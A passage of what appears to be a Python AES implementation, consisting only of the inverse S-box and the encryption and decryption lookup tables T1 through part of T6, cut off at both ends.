0xb0, 0x54, 0xbb, 0x16] Si = [0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d] # Transformations for encryption T1 = [0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a] T2 = [0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616] T3 = [0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16] T4 = [0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c] # Transformations for decryption T5 = [0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742] T6 = [0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 